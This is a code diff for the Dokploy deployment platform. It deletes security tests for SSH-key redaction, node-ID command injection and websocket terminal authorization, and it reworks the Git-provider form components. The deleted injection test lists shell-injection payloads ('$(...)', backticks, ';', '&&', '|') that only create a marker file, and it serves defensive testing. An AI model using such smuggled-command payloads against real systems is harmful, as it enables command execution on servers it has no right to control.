await expect(assertBuildsConcurrencyAllowed(3, "org-1")).rejects.toThrow(
/enterprise license/i,
);
});
});

View File

@@ -1,44 +0,0 @@
import { redactServerSshKey } from "@dokploy/server/services/server";
import { describe, expect, it } from "vitest";
describe("redactServerSshKey (server SSH private key disclosure guard)", () => {
it("blanks the private key while keeping the rest of the ssh key intact", () => {
const server = {
serverId: "srv-1",
name: "prod",
sshKey: {
sshKeyId: "key-1",
publicKey: "ssh-ed25519 AAAA...",
privateKey: "-----BEGIN OPENSSH PRIVATE KEY-----\nsecret\n",
},
};
const redacted = redactServerSshKey(server);
expect(redacted.sshKey.privateKey).toBe("");
// Non-secret fields and the surrounding record must survive untouched.
expect(redacted.sshKey.publicKey).toBe("ssh-ed25519 AAAA...");
expect(redacted.serverId).toBe("srv-1");
expect(redacted.name).toBe("prod");
});
it("does not mutate the original record", () => {
const server = {
serverId: "srv-1",
sshKey: { privateKey: "top-secret" },
};
redactServerSshKey(server);
expect(server.sshKey.privateKey).toBe("top-secret");
});
it("is a no-op when the server has no ssh key", () => {
const server = { serverId: "srv-2", sshKey: null };
expect(redactServerSshKey(server)).toEqual(server);
});
it("handles a record without a loaded sshKey relation", () => {
// e.g. server.update returns the plain row where sshKey is not populated.
const server: { serverId: string; sshKey?: null } = { serverId: "srv-3" };
expect(redactServerSshKey(server)).toEqual(server);
});
});

View File

@@ -1,41 +0,0 @@
import { execSync } from "node:child_process";
import { existsSync, rmSync } from "node:fs";
import { quote } from "shell-quote";
import { describe, expect, it } from "vitest";
// Mirrors how getNodeInfo builds its command in services/docker.ts:
// `docker node inspect ${quote([nodeId])} --format '{{json .}}'`
// We swap `docker node inspect` for `:` (a no-op) so the test only exercises
// whether the nodeId payload can break out of the command, not real docker.
const buildCommand = (nodeId: string) =>
`: node inspect ${quote([nodeId])} --format '{{json .}}'`;
const INJECTION_NODE_IDS = [
"$(touch %MARK%)",
"`touch %MARK%`",
"; touch %MARK%",
"abc | touch %MARK%",
"&& touch %MARK%",
];
describe("getNodeInfo nodeId command injection", () => {
it("does not execute injected commands from the nodeId", () => {
const mark = `/tmp/dokploy_swarm_pwned_${process.pid}`;
for (const template of INJECTION_NODE_IDS) {
if (existsSync(mark)) rmSync(mark);
const nodeId = template.replace("%MARK%", mark);
try {
execSync(buildCommand(nodeId), { shell: "/bin/sh", stdio: "ignore" });
} catch {
// A non-zero exit from the no-op is fine; we only care about the marker.
}
expect(existsSync(mark)).toBe(false);
}
if (existsSync(mark)) rmSync(mark);
});
it("keeps a legitimate node id intact as a single literal token", () => {
const nodeId = "abc123def456";
expect(quote([nodeId])).toBe(nodeId);
});
});

View File

@@ -1,104 +0,0 @@
import { beforeEach, describe, expect, it, vi } from "vitest";
// Mock the permission + server helpers the wss authorizer composes.
const mockHasPermission = vi.hoisted(() => vi.fn());
const mockFindMember = vi.hoisted(() => vi.fn());
const mockCheckServiceAccess = vi.hoisted(() => vi.fn());
vi.mock("@dokploy/server/services/permission", () => ({
hasPermission: mockHasPermission,
findMemberByUserId: mockFindMember,
checkServiceAccess: mockCheckServiceAccess,
}));
const mockGetAccessibleServerIds = vi.hoisted(() => vi.fn());
vi.mock("@dokploy/server", () => ({
getAccessibleServerIds: mockGetAccessibleServerIds,
}));
import {
canAccessDockerOverWss,
canAccessTerminalOverWss,
} from "@/server/wss/authorize";
const USER = { id: "user-1" };
const SESSION = { activeOrganizationId: "org-1" };
beforeEach(() => {
vi.clearAllMocks();
});
describe("canAccessDockerOverWss", () => {
it("denies when there is no user or session", async () => {
expect(await canAccessDockerOverWss(null, SESSION)).toBe(false);
expect(await canAccessDockerOverWss(USER, null)).toBe(false);
});
it("denies a member without docker permission", async () => {
mockHasPermission.mockResolvedValue(false);
expect(await canAccessDockerOverWss(USER, SESSION)).toBe(false);
});
it("allows when the caller has docker permission (no server)", async () => {
mockHasPermission.mockResolvedValue(true);
expect(await canAccessDockerOverWss(USER, SESSION)).toBe(true);
});
it("denies a remote server the caller cannot access, even with docker permission", async () => {
mockHasPermission.mockResolvedValue(true);
mockGetAccessibleServerIds.mockResolvedValue(new Set(["other-server"]));
expect(await canAccessDockerOverWss(USER, SESSION, "srv-1")).toBe(false);
});
it("allows a remote server the caller can access", async () => {
mockHasPermission.mockResolvedValue(true);
mockGetAccessibleServerIds.mockResolvedValue(new Set(["srv-1"]));
expect(await canAccessDockerOverWss(USER, SESSION, "srv-1")).toBe(true);
});
it("denies when the container belongs to a service the caller cannot access", async () => {
mockCheckServiceAccess.mockRejectedValue(new Error("no access"));
expect(await canAccessDockerOverWss(USER, SESSION, null, "svc-1")).toBe(
false,
);
});
it("allows service access even without docker permission or server access", async () => {
// A member granted the service but without canAccessToDocker, whose
// service runs on a server they were not individually granted, must still
// read its logs — matches application.readLogs (service access only).
mockHasPermission.mockResolvedValue(false);
mockGetAccessibleServerIds.mockResolvedValue(new Set());
mockCheckServiceAccess.mockResolvedValue(undefined);
expect(
await canAccessDockerOverWss(USER, SESSION, "srv-remote", "svc-1"),
).toBe(true);
// Service path is authoritative — it must not fall through to docker/server.
expect(mockHasPermission).not.toHaveBeenCalled();
expect(mockGetAccessibleServerIds).not.toHaveBeenCalled();
});
});
describe("canAccessTerminalOverWss", () => {
it("denies the local host terminal to a plain member", async () => {
mockFindMember.mockResolvedValue({ role: "member" });
expect(await canAccessTerminalOverWss(USER, SESSION, "local")).toBe(false);
});
it("allows the local host terminal to an owner", async () => {
mockFindMember.mockResolvedValue({ role: "owner" });
expect(await canAccessTerminalOverWss(USER, SESSION, "local")).toBe(true);
});
it("allows the local host terminal to an admin", async () => {
mockFindMember.mockResolvedValue({ role: "admin" });
expect(await canAccessTerminalOverWss(USER, SESSION, "local")).toBe(true);
});
it("gates a remote server terminal on server access", async () => {
mockGetAccessibleServerIds.mockResolvedValue(new Set(["srv-1"]));
expect(await canAccessTerminalOverWss(USER, SESSION, "srv-1")).toBe(true);
expect(await canAccessTerminalOverWss(USER, SESSION, "srv-2")).toBe(false);
// role lookup must not be needed for the remote path
expect(mockFindMember).not.toHaveBeenCalled();
});
});

View File

@@ -188,9 +188,6 @@ export const SaveBitbucketProvider = ({ applicationId }: Props) => {
<FormLabel>Bitbucket Account</FormLabel> <FormLabel>Bitbucket Account</FormLabel>
<Select <Select
onValueChange={(value) => { onValueChange={(value) => {
if (!value) {
return;
}
field.onChange(value); field.onChange(value);
form.setValue("repository", { form.setValue("repository", {
owner: "", owner: "",
@@ -199,6 +196,7 @@ export const SaveBitbucketProvider = ({ applicationId }: Props) => {
}); });
form.setValue("branch", ""); form.setValue("branch", "");
}} }}
defaultValue={field.value}
value={field.value} value={field.value}
> >
<FormControl> <FormControl>
@@ -247,7 +245,7 @@ export const SaveBitbucketProvider = ({ applicationId }: Props) => {
<Button <Button
variant="outline" variant="outline"
className={cn( className={cn(
"w-full justify-between", "w-full justify-between bg-input!",
!field.value && "text-muted-foreground", !field.value && "text-muted-foreground",
)} )}
> >
@@ -256,19 +254,14 @@ export const SaveBitbucketProvider = ({ applicationId }: Props) => {
: isLoadingRepositories : isLoadingRepositories
? "Loading...." ? "Loading...."
: (repositories?.find( : (repositories?.find(
(repo) => (repo) => repo.name === field.value.repo,
repo.name === field.value.repo &&
repo.owner.username === field.value.owner,
)?.name ?? "Select repository")} )?.name ?? "Select repository")}
<ChevronsUpDown className="ml-2 h-4 w-4 shrink-0 opacity-50" /> <ChevronsUpDown className="ml-2 h-4 w-4 shrink-0 opacity-50" />
</Button> </Button>
</FormControl> </FormControl>
</PopoverTrigger> </PopoverTrigger>
<PopoverContent <PopoverContent className="p-0" align="start">
className="w-[var(--radix-popover-trigger-width)] p-0"
align="start"
>
<Command> <Command>
<CommandInput <CommandInput
placeholder="Search repository..." placeholder="Search repository..."
@@ -288,7 +281,7 @@ export const SaveBitbucketProvider = ({ applicationId }: Props) => {
<CommandGroup> <CommandGroup>
{repositories?.map((repo) => ( {repositories?.map((repo) => (
<CommandItem <CommandItem
value={`${repo.owner.username}/${repo.name}`} value={repo.name}
key={repo.url} key={repo.url}
onSelect={() => { onSelect={() => {
form.setValue("repository", { form.setValue("repository", {
@@ -299,8 +292,8 @@ export const SaveBitbucketProvider = ({ applicationId }: Props) => {
form.setValue("branch", ""); form.setValue("branch", "");
}} }}
> >
<span className="flex min-w-0 items-center gap-2"> <span className="flex items-center gap-2">
<span className="truncate">{repo.name}</span> <span>{repo.name}</span>
<span className="text-muted-foreground text-xs"> <span className="text-muted-foreground text-xs">
{repo.owner.username} {repo.owner.username}
</span> </span>
@@ -308,8 +301,7 @@ export const SaveBitbucketProvider = ({ applicationId }: Props) => {
<CheckIcon <CheckIcon
className={cn( className={cn(
"ml-auto h-4 w-4", "ml-auto h-4 w-4",
repo.name === field.value.repo && repo.name === field.value.repo
repo.owner.username === field.value.owner
? "opacity-100" ? "opacity-100"
: "opacity-0", : "opacity-0",
)} )}
@@ -341,7 +333,7 @@ export const SaveBitbucketProvider = ({ applicationId }: Props) => {
<Button <Button
variant="outline" variant="outline"
className={cn( className={cn(
" w-full justify-between", " w-full justify-between bg-input!",
!field.value && "text-muted-foreground", !field.value && "text-muted-foreground",
)} )}
> >
@@ -356,10 +348,7 @@ export const SaveBitbucketProvider = ({ applicationId }: Props) => {
</Button> </Button>
</FormControl> </FormControl>
</PopoverTrigger> </PopoverTrigger>
<PopoverContent <PopoverContent className="p-0" align="start">
className="w-[var(--radix-popover-trigger-width)] p-0"
align="start"
>
<Command> <Command>
<CommandInput <CommandInput
placeholder="Search branch..." placeholder="Search branch..."
@@ -387,7 +376,7 @@ export const SaveBitbucketProvider = ({ applicationId }: Props) => {
form.setValue("branch", branch.name); form.setValue("branch", branch.name);
}} }}
> >
<span className="truncate">{branch.name}</span> {branch.name}
<CheckIcon <CheckIcon
className={cn( className={cn(
"ml-auto h-4 w-4", "ml-auto h-4 w-4",

View File

@@ -201,9 +201,6 @@ export const SaveGiteaProvider = ({ applicationId }: Props) => {
<FormLabel>Gitea Account</FormLabel> <FormLabel>Gitea Account</FormLabel>
<Select <Select
onValueChange={(value) => { onValueChange={(value) => {
if (!value) {
return;
}
field.onChange(value); field.onChange(value);
form.setValue("repository", { form.setValue("repository", {
owner: "", owner: "",
@@ -211,6 +208,7 @@ export const SaveGiteaProvider = ({ applicationId }: Props) => {
}); });
form.setValue("branch", ""); form.setValue("branch", "");
}} }}
defaultValue={field.value}
value={field.value} value={field.value}
> >
<FormControl> <FormControl>
@@ -260,7 +258,7 @@ export const SaveGiteaProvider = ({ applicationId }: Props) => {
<Button <Button
variant="outline" variant="outline"
className={cn( className={cn(
"w-full justify-between", "w-full justify-between bg-input!",
!field.value && "text-muted-foreground", !field.value && "text-muted-foreground",
)} )}
> >
@@ -270,18 +268,14 @@ export const SaveGiteaProvider = ({ applicationId }: Props) => {
? "Loading...." ? "Loading...."
: (repositories?.find( : (repositories?.find(
(repo: GiteaRepository) => (repo: GiteaRepository) =>
repo.name === field.value.repo && repo.name === field.value.repo,
repo.owner.username === field.value.owner,
)?.name ?? "Select repository")} )?.name ?? "Select repository")}
<ChevronsUpDown className="ml-2 h-4 w-4 shrink-0 opacity-50" /> <ChevronsUpDown className="ml-2 h-4 w-4 shrink-0 opacity-50" />
</Button> </Button>
</FormControl> </FormControl>
</PopoverTrigger> </PopoverTrigger>
<PopoverContent <PopoverContent className="p-0" align="start">
className="w-[var(--radix-popover-trigger-width)] p-0"
align="start"
>
<Command> <Command>
<CommandInput <CommandInput
placeholder="Search repository..." placeholder="Search repository..."
@@ -307,7 +301,7 @@ export const SaveGiteaProvider = ({ applicationId }: Props) => {
{repositories?.map((repo: GiteaRepository) => { {repositories?.map((repo: GiteaRepository) => {
return ( return (
<CommandItem <CommandItem
value={`${repo.owner.username}/${repo.name}`} value={repo.name}
key={repo.url} key={repo.url}
onSelect={() => { onSelect={() => {
form.setValue("repository", { form.setValue("repository", {
@@ -317,10 +311,8 @@ export const SaveGiteaProvider = ({ applicationId }: Props) => {
form.setValue("branch", ""); form.setValue("branch", "");
}} }}
> >
<span className="flex min-w-0 items-center gap-2"> <span className="flex items-center gap-2">
<span className="truncate"> <span>{repo.name}</span>
{repo.name}
</span>
<span className="text-muted-foreground text-xs"> <span className="text-muted-foreground text-xs">
{repo.owner.username} {repo.owner.username}
</span> </span>
@@ -328,9 +320,7 @@ export const SaveGiteaProvider = ({ applicationId }: Props) => {
<CheckIcon <CheckIcon
className={cn( className={cn(
"ml-auto h-4 w-4", "ml-auto h-4 w-4",
repo.name === field.value.repo && repo.name === field.value.repo
repo.owner.username ===
field.value.owner
? "opacity-100" ? "opacity-100"
: "opacity-0", : "opacity-0",
)} )}
@@ -363,7 +353,7 @@ export const SaveGiteaProvider = ({ applicationId }: Props) => {
<Button <Button
variant="outline" variant="outline"
className={cn( className={cn(
" w-full justify-between", " w-full justify-between bg-input!",
!field.value && "text-muted-foreground", !field.value && "text-muted-foreground",
)} )}
> >
@@ -379,10 +369,7 @@ export const SaveGiteaProvider = ({ applicationId }: Props) => {
</Button> </Button>
</FormControl> </FormControl>
</PopoverTrigger> </PopoverTrigger>
<PopoverContent <PopoverContent className="p-0" align="start">
className="w-[var(--radix-popover-trigger-width)] p-0"
align="start"
>
<Command> <Command>
<CommandInput <CommandInput
placeholder="Search branch..." placeholder="Search branch..."
@@ -413,7 +400,7 @@ export const SaveGiteaProvider = ({ applicationId }: Props) => {
form.setValue("branch", branch.name); form.setValue("branch", branch.name);
}} }}
> >
<span className="truncate">{branch.name}</span> {branch.name}
<CheckIcon <CheckIcon
className={cn( className={cn(
"ml-auto h-4 w-4", "ml-auto h-4 w-4",

View File

@@ -177,9 +177,6 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
<FormLabel>Github Account</FormLabel> <FormLabel>Github Account</FormLabel>
<Select <Select
onValueChange={(value) => { onValueChange={(value) => {
if (!value) {
return;
}
field.onChange(value); field.onChange(value);
form.setValue("repository", { form.setValue("repository", {
owner: "", owner: "",
@@ -192,14 +189,7 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
> >
<FormControl> <FormControl>
<SelectTrigger> <SelectTrigger>
<SelectValue placeholder="Select a Github Account"> <SelectValue placeholder="Select a Github Account" />
{
githubProviders?.find(
(githubProvider) =>
githubProvider.githubId === field.value,
)?.gitProvider.name
}
</SelectValue>
</SelectTrigger> </SelectTrigger>
</FormControl> </FormControl>
<SelectContent> <SelectContent>
@@ -243,7 +233,7 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
<Button <Button
variant="outline" variant="outline"
className={cn( className={cn(
"w-full justify-between", "w-full justify-between bg-input!",
!field.value && "text-muted-foreground", !field.value && "text-muted-foreground",
)} )}
> >
@@ -252,19 +242,14 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
: isLoadingRepositories : isLoadingRepositories
? "Loading...." ? "Loading...."
: (repositories?.find( : (repositories?.find(
(repo) => (repo) => repo.name === field.value.repo,
repo.name === field.value.repo && )?.name ?? "Select repository")}
repo.owner.login === field.value.owner,
)?.name ?? field.value.repo)}
<ChevronsUpDown className="ml-2 h-4 w-4 shrink-0 opacity-50" /> <ChevronsUpDown className="ml-2 h-4 w-4 shrink-0 opacity-50" />
</Button> </Button>
</FormControl> </FormControl>
</PopoverTrigger> </PopoverTrigger>
<PopoverContent <PopoverContent className="p-0" align="start">
className="w-[var(--radix-popover-trigger-width)] p-0"
align="start"
>
<Command> <Command>
<CommandInput <CommandInput
placeholder="Search repository..." placeholder="Search repository..."
@@ -284,7 +269,7 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
<CommandGroup> <CommandGroup>
{repositories?.map((repo) => ( {repositories?.map((repo) => (
<CommandItem <CommandItem
value={`${repo.owner.login}/${repo.name}`} value={repo.name}
key={repo.url} key={repo.url}
onSelect={() => { onSelect={() => {
form.setValue("repository", { form.setValue("repository", {
@@ -294,8 +279,8 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
form.setValue("branch", ""); form.setValue("branch", "");
}} }}
> >
<span className="flex min-w-0 items-center gap-2"> <span className="flex items-center gap-2">
<span className="truncate">{repo.name}</span> <span>{repo.name}</span>
<span className="text-muted-foreground text-xs"> <span className="text-muted-foreground text-xs">
{repo.owner.login} {repo.owner.login}
</span> </span>
@@ -303,8 +288,7 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
<CheckIcon <CheckIcon
className={cn( className={cn(
"ml-auto h-4 w-4", "ml-auto h-4 w-4",
repo.name === field.value.repo && repo.name === field.value.repo
repo.owner.login === field.value.owner
? "opacity-100" ? "opacity-100"
: "opacity-0", : "opacity-0",
)} )}
@@ -336,25 +320,22 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
<Button <Button
variant="outline" variant="outline"
className={cn( className={cn(
" w-full justify-between", " w-full justify-between bg-input!",
!field.value && "text-muted-foreground", !field.value && "text-muted-foreground",
)} )}
> >
{status === "pending" && fetchStatus === "fetching" {status === "pending" && fetchStatus === "fetching"
? "Loading...." ? "Loading...."
: field.value : field.value
? (branches?.find( ? branches?.find(
(branch) => branch.name === field.value, (branch) => branch.name === field.value,
)?.name ?? field.value) )?.name
: "Select branch"} : "Select branch"}
<ChevronsUpDown className="ml-2 h-4 w-4 shrink-0 opacity-50" /> <ChevronsUpDown className="ml-2 h-4 w-4 shrink-0 opacity-50" />
</Button> </Button>
</FormControl> </FormControl>
</PopoverTrigger> </PopoverTrigger>
<PopoverContent <PopoverContent className="p-0" align="start">
className="w-[var(--radix-popover-trigger-width)] p-0"
align="start"
>
<Command> <Command>
<CommandInput <CommandInput
placeholder="Search branch..." placeholder="Search branch..."
@@ -382,7 +363,7 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
form.setValue("branch", branch.name); form.setValue("branch", branch.name);
}} }}
> >
<span className="truncate">{branch.name}</span> {branch.name}
<CheckIcon <CheckIcon
className={cn( className={cn(
"ml-auto h-4 w-4", "ml-auto h-4 w-4",

View File

@@ -196,9 +196,6 @@ export const SaveGitlabProvider = ({ applicationId }: Props) => {
<FormLabel>Gitlab Account</FormLabel> <FormLabel>Gitlab Account</FormLabel>
<Select <Select
onValueChange={(value) => { onValueChange={(value) => {
if (!value) {
return;
}
field.onChange(value); field.onChange(value);
form.setValue("repository", { form.setValue("repository", {
owner: "", owner: "",
@@ -208,6 +205,7 @@ export const SaveGitlabProvider = ({ applicationId }: Props) => {
}); });
form.setValue("branch", ""); form.setValue("branch", "");
}} }}
defaultValue={field.value}
value={field.value} value={field.value}
> >
<FormControl> <FormControl>
@@ -256,7 +254,7 @@ export const SaveGitlabProvider = ({ applicationId }: Props) => {
<Button <Button
variant="outline" variant="outline"
className={cn( className={cn(
"w-full justify-between", "w-full justify-between bg-input!",
!field.value && "text-muted-foreground", !field.value && "text-muted-foreground",
)} )}
> >
@@ -272,10 +270,7 @@ export const SaveGitlabProvider = ({ applicationId }: Props) => {
</Button> </Button>
</FormControl> </FormControl>
</PopoverTrigger> </PopoverTrigger>
<PopoverContent <PopoverContent className="p-0" align="start">
className="w-[var(--radix-popover-trigger-width)] p-0"
align="start"
>
<Command> <Command>
<CommandInput <CommandInput
placeholder="Search repository..." placeholder="Search repository..."
@@ -313,10 +308,8 @@ export const SaveGitlabProvider = ({ applicationId }: Props) => {
form.setValue("branch", ""); form.setValue("branch", "");
}} }}
> >
<span className="flex min-w-0 items-center gap-2"> <span className="flex items-center gap-2">
<span className="truncate"> <span>{repo.name}</span>
{repo.name}
</span>
<span className="text-muted-foreground text-xs"> <span className="text-muted-foreground text-xs">
{repo.owner.username} {repo.owner.username}
</span> </span>
@@ -358,7 +351,7 @@ export const SaveGitlabProvider = ({ applicationId }: Props) => {
<Button <Button
variant="outline" variant="outline"
className={cn( className={cn(
" w-full justify-between", " w-full justify-between bg-input!",
!field.value && "text-muted-foreground", !field.value && "text-muted-foreground",
)} )}
> >
@@ -373,10 +366,7 @@ export const SaveGitlabProvider = ({ applicationId }: Props) => {
</Button> </Button>
</FormControl> </FormControl>
</PopoverTrigger> </PopoverTrigger>
<PopoverContent <PopoverContent className="p-0" align="start">
className="w-[var(--radix-popover-trigger-width)] p-0"
align="start"
>
<Command> <Command>
<CommandInput <CommandInput
placeholder="Search branch..." placeholder="Search branch..."
@@ -404,7 +394,7 @@ export const SaveGitlabProvider = ({ applicationId }: Props) => {
form.setValue("branch", branch.name); form.setValue("branch", branch.name);
}} }}
> >
<span className="truncate">{branch.name}</span> {branch.name}
<CheckIcon <CheckIcon
className={cn( className={cn(
"ml-auto h-4 w-4", "ml-auto h-4 w-4",

View File

@@ -1,3 +1,4 @@
import { Tooltip as TooltipPrimitive } from "radix-ui";
import { import {
Ban, Ban,
CheckCircle2, CheckCircle2,
@@ -7,7 +8,6 @@ import {
Terminal, Terminal,
} from "lucide-react"; } from "lucide-react";
import { useRouter } from "next/router"; import { useRouter } from "next/router";
import { Tooltip as TooltipPrimitive } from "radix-ui";
import { toast } from "sonner"; import { toast } from "sonner";
import { ShowBuildChooseForm } from "@/components/dashboard/application/build/show"; import { ShowBuildChooseForm } from "@/components/dashboard/application/build/show";
import { ShowProviderForm } from "@/components/dashboard/application/general/generic/show"; import { ShowProviderForm } from "@/components/dashboard/application/general/generic/show";
@@ -271,7 +271,6 @@ export const ShowGeneralApplication = ({ applicationId }: Props) => {
<DockerTerminalModal <DockerTerminalModal
appName={data?.appName || ""} appName={data?.appName || ""}
serverId={data?.serverId || ""} serverId={data?.serverId || ""}
serviceId={applicationId}
> >
<Button <Button
variant="outline" variant="outline"

View File

@@ -50,10 +50,9 @@ export const badgeStateColor = (state: string) => {
interface Props { interface Props {
appName: string; appName: string;
serverId?: string; serverId?: string;
serviceId?: string;
} }
export const ShowDockerLogs = ({ appName, serverId, serviceId }: Props) => { export const ShowDockerLogs = ({ appName, serverId }: Props) => {
const [containerId, setContainerId] = useState<string | undefined>(); const [containerId, setContainerId] = useState<string | undefined>();
const [option, setOption] = useState<"swarm" | "native">("native"); const [option, setOption] = useState<"swarm" | "native">("native");
@@ -183,7 +182,6 @@ export const ShowDockerLogs = ({ appName, serverId, serviceId }: Props) => {
serverId={serverId || ""} serverId={serverId || ""}
containerId={containerId || "select-a-container"} containerId={containerId || "select-a-container"}
runType={option} runType={option}
serviceId={serviceId}
/> />
</CardContent> </CardContent>
</Card> </Card>

View File

@@ -1,3 +1,4 @@
import { Tooltip as TooltipPrimitive } from "radix-ui";
import { import {
ExternalLink, ExternalLink,
FileText, FileText,
@@ -8,7 +9,6 @@ import {
RocketIcon, RocketIcon,
Trash2, Trash2,
} from "lucide-react"; } from "lucide-react";
import { Tooltip as TooltipPrimitive } from "radix-ui";
import { toast } from "sonner"; import { toast } from "sonner";
import { GithubIcon } from "@/components/icons/data-tools-icons"; import { GithubIcon } from "@/components/icons/data-tools-icons";
import { DateTooltip } from "@/components/shared/date-tooltip"; import { DateTooltip } from "@/components/shared/date-tooltip";

View File

@@ -531,7 +531,7 @@ export const HandleSchedules = ({ id, scheduleId, scheduleType }: Props) => {
<Button <Button
variant="outline" variant="outline"
className={cn( className={cn(
"w-full justify-between", "w-full justify-between bg-input!",
!field.value && "text-muted-foreground", !field.value && "text-muted-foreground",
)} )}
> >

View File

@@ -507,20 +507,11 @@ export const HandleVolumeBackups = ({
</SelectTrigger> </SelectTrigger>
</FormControl> </FormControl>
<SelectContent> <SelectContent>
{mounts && mounts.length > 0 ? ( {mounts?.map((mount) => (
mounts.map((mount) => ( <SelectItem key={mount.Name} value={mount.Name || ""}>
<SelectItem {mount.Name}
key={mount.Name}
value={mount.Name || ""}
>
{mount.Name}
</SelectItem>
))
) : (
<SelectItem value="none" disabled>
No volumes found
</SelectItem> </SelectItem>
)} ))}
</SelectContent> </SelectContent>
</Select> </Select>
<FormDescription> <FormDescription>

View File

@@ -181,7 +181,7 @@ export const RestoreVolumeBackups = ({ id, type, serverId }: Props) => {
<Button <Button
variant="outline" variant="outline"
className={cn( className={cn(
"w-full justify-between", "w-full justify-between bg-input!",
!field.value && "text-muted-foreground", !field.value && "text-muted-foreground",
)} )}
> >
@@ -263,7 +263,7 @@ export const RestoreVolumeBackups = ({ id, type, serverId }: Props) => {
<Button <Button
variant="outline" variant="outline"
className={cn( className={cn(
"w-full justify-between", "w-full justify-between bg-input!",
!field.value && "text-muted-foreground", !field.value && "text-muted-foreground",
)} )}
> >

View File

@@ -55,14 +55,12 @@ interface Props {
appName: string; appName: string;
serverId?: string; serverId?: string;
appType: "stack" | "docker-compose"; appType: "stack" | "docker-compose";
serviceId?: string;
} }
export const ShowComposeContainers = ({ export const ShowComposeContainers = ({
appName, appName,
appType, appType,
serverId, serverId,
serviceId,
}: Props) => { }: Props) => {
const { data, isPending, refetch } = const { data, isPending, refetch } =
api.docker.getContainersByAppNameMatch.useQuery( api.docker.getContainersByAppNameMatch.useQuery(
@@ -124,7 +122,6 @@ export const ShowComposeContainers = ({
key={container.containerId} key={container.containerId}
container={container} container={container}
serverId={serverId} serverId={serverId}
serviceId={serviceId}
onActionComplete={() => refetch()} onActionComplete={() => refetch()}
/> />
))} ))}
@@ -145,14 +142,12 @@ interface ContainerRowProps {
status: string; status: string;
}; };
serverId?: string; serverId?: string;
serviceId?: string;
onActionComplete: () => void; onActionComplete: () => void;
} }
const ContainerRow = ({ const ContainerRow = ({
container, container,
serverId, serverId,
serviceId,
onActionComplete, onActionComplete,
}: ContainerRowProps) => { }: ContainerRowProps) => {
const [logsOpen, setLogsOpen] = useState(false); const [logsOpen, setLogsOpen] = useState(false);
@@ -241,7 +236,6 @@ const ContainerRow = ({
<DockerTerminalModal <DockerTerminalModal
containerId={container.containerId} containerId={container.containerId}
serverId={serverId || ""} serverId={serverId || ""}
serviceId={serviceId}
> >
Terminal Terminal
</DockerTerminalModal> </DockerTerminalModal>
@@ -286,7 +280,6 @@ const ContainerRow = ({
containerId={container.containerId} containerId={container.containerId}
serverId={serverId} serverId={serverId}
runType="native" runType="native"
serviceId={serviceId}
/> />
</div> </div>
</DialogContent> </DialogContent>

View File

@@ -1,6 +1,6 @@
import { Tooltip as TooltipPrimitive } from "radix-ui";
import { Ban, CheckCircle2, RefreshCcw, Rocket, Terminal } from "lucide-react"; import { Ban, CheckCircle2, RefreshCcw, Rocket, Terminal } from "lucide-react";
import { useRouter } from "next/router"; import { useRouter } from "next/router";
import { Tooltip as TooltipPrimitive } from "radix-ui";
import { toast } from "sonner"; import { toast } from "sonner";
import { DialogAction } from "@/components/shared/dialog-action"; import { DialogAction } from "@/components/shared/dialog-action";
import { Button } from "@/components/ui/button"; import { Button } from "@/components/ui/button";
@@ -84,19 +84,19 @@ export const ComposeActions = ({ composeId }: Props) => {
)} )}
{canDeploy && ( {canDeploy && (
<DialogAction <DialogAction
title="Rebuild Compose" title="Reload Compose"
description="Are you sure you want to rebuild this compose?" description="Are you sure you want to reload this compose?"
type="default" type="default"
onClick={async () => { onClick={async () => {
await redeploy({ await redeploy({
composeId: composeId, composeId: composeId,
}) })
.then(() => { .then(() => {
toast.success("Compose rebuilt successfully"); toast.success("Compose reloaded successfully");
refetch(); refetch();
}) })
.catch(() => { .catch(() => {
toast.error("Error rebuilding compose"); toast.error("Error reloading compose");
}); });
}} }}
> >
@@ -109,14 +109,12 @@ export const ComposeActions = ({ composeId }: Props) => {
<TooltipTrigger asChild> <TooltipTrigger asChild>
<div className="flex items-center"> <div className="flex items-center">
<RefreshCcw className="size-4 mr-1" /> <RefreshCcw className="size-4 mr-1" />
Rebuild Reload
</div> </div>
</TooltipTrigger> </TooltipTrigger>
<TooltipPrimitive.Portal> <TooltipPrimitive.Portal>
<TooltipContent sideOffset={5} className="z-60"> <TooltipContent sideOffset={5} className="z-60">
<p> <p>Reload the compose without rebuilding it</p>
Rebuilds the compose without downloading the source code
</p>
</TooltipContent> </TooltipContent>
</TooltipPrimitive.Portal> </TooltipPrimitive.Portal>
</Tooltip> </Tooltip>
@@ -208,7 +206,6 @@ export const ComposeActions = ({ composeId }: Props) => {
appName={data?.appName || ""} appName={data?.appName || ""}
serverId={data?.serverId || ""} serverId={data?.serverId || ""}
appType={data?.composeType || "docker-compose"} appType={data?.composeType || "docker-compose"}
serviceId={data?.composeId}
> >
<Button <Button
variant="outline" variant="outline"

View File

@@ -190,9 +190,6 @@ export const SaveBitbucketProviderCompose = ({ composeId }: Props) => {
<FormLabel>Bitbucket Account</FormLabel> <FormLabel>Bitbucket Account</FormLabel>
<Select <Select
onValueChange={(value) => { onValueChange={(value) => {
if (!value) {
return;
}
field.onChange(value); field.onChange(value);
form.setValue("repository", { form.setValue("repository", {
owner: "", owner: "",
@@ -201,6 +198,7 @@ export const SaveBitbucketProviderCompose = ({ composeId }: Props) => {
}); });
form.setValue("branch", ""); form.setValue("branch", "");
}} }}
defaultValue={field.value}
value={field.value} value={field.value}
> >
<FormControl> <FormControl>
@@ -249,7 +247,7 @@ export const SaveBitbucketProviderCompose = ({ composeId }: Props) => {
<Button <Button
variant="outline" variant="outline"
className={cn( className={cn(
"w-full justify-between", "w-full justify-between bg-input!",
!field.value && "text-muted-foreground", !field.value && "text-muted-foreground",
)} )}
> >
@@ -258,19 +256,14 @@ export const SaveBitbucketProviderCompose = ({ composeId }: Props) => {
: isLoadingRepositories : isLoadingRepositories
? "Loading...." ? "Loading...."
: (repositories?.find( : (repositories?.find(
(repo) => (repo) => repo.name === field.value.repo,
repo.name === field.value.repo &&
repo.owner.username === field.value.owner,
)?.name ?? "Select repository")} )?.name ?? "Select repository")}
<ChevronsUpDown className="ml-2 h-4 w-4 shrink-0 opacity-50" /> <ChevronsUpDown className="ml-2 h-4 w-4 shrink-0 opacity-50" />
</Button> </Button>
</FormControl> </FormControl>
</PopoverTrigger> </PopoverTrigger>
